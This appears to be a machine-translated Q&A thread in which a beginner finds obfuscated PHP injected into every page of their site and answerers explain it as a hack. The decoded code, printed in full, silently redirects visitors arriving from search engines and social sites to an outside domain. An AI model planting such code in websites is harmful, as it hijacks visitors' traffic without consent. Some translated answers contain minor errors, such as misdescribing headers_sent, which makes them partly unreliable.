我是html的初学者。我从一个人开发了一个网站,后来当我访问mu网站的源代码时,我看到这一堆代码存在于Php tags内的每个页面中。我想问这是否是好吧保留这段代码?我甚至不知道这段代码是什么意思。
我曾使用此网站http://base64decode.org/向我展示我的代码就像这样
zm^r^
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://broadway.bee.pl/");
exit();
}
}
}
}
我还想知道这是什么意思? 任何帮助将不胜感激 感谢
答案 0 :(得分:5)
$qazplm=headers_sent();
$qazplm now is a variable containing all of the HTTP headers sent with the request.
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$referer now is a variable containing the URL of the website the user was last on.
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo")
or stristr($referer,"bing")
or stristr($referer,"rambler")
or stristr($referer,"gogo")
or stristr($referer,"live.com")
or stristr($referer,"aport")
or stristr($referer,"nigma")
or stristr($referer,"webalta")
or stristr($referer,"begun.ru")
or stristr($referer,"stumbleupon.com")
or stristr($referer,"bit.ly")
or stristr($referer,"tinyurl.com")
or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer)
or preg_match ("/google\.(.*?)\/url/",$referer)
or stristr($referer,"myspace.com")
or stristr($referer,"facebook.com")
or stristr($referer,"aol.com")) {
如果他们来自一个共同的搜索引擎......
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://broadway.bee.pl/");
将它们重定向到broadway.bee.pl
exit();
换句话说,如果他们通过搜索到达您的网站,他们最终会转到broadway.bee.pl。 你已经被黑了(除非你拥有broadway.bee.pl)。
答案 1 :(得分:2)
代码被混淆了=你是从那个试图欺骗你使用它的人那里得到的。这不是一件好事!
它的作用:
error_reporting(0);
// Turns of error reporting = you won't see things go wrong
$qazplm=headers_sent();
// Checks if HTTP headers have been sent and stores the result in variable
if (!$qazplm) {
// If the HTTP headers have not been sent
$referer=$_SERVER['HTTP_REFERER'];
// What's the refering page?
$uag=$_SERVER['HTTP_USER_AGENT'];
// The string where the UA (browser) tells what it is
if ($uag) {
// If that string is not empty
if (stristr($referer,"yahoo") /* or truncated */) {
// If the referer is one of Yahoo, or another search or link site
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
// If not the words cache or inurl apppears in the referer string
header("Location: http://broadway.bee.pl/");
// Redirect to that site
exit();
// And halt script execution
}
}
}
}
基本上,这意味着大多数访问者都会被发送到其他网站。你绝对应该不保留这段代码。
经验法则。如果您不知道它的用途 - 请勿使用它!
答案 2 :(得分:1)
特别是因为未知代码是在基础54中编码的,所以该网站注入了恶意代码。去掉它。不要保留它。然后解决问题。
答案 3 :(得分:1)
您已经入侵,有人在您的服务器上放置了一些代码,这些代码在来自搜索引擎时似乎将所有用户重定向到broadway.bee.pl
。
您最需要删除该代码,快乐调试和搜索。
之后,您需要了解黑客如何进入并修补问题......
祝你好运......你需要它答案 4 :(得分:1)
为什么人们会对此投票?这是一个完全有效的问题。就像之前所说的那样,如果访问该代码所在页面的浏览器和REFERER来自列出的搜索引擎名称之一,那么它会重定向到http://broadway.bee.pl
鉴于此,我说你被黑了。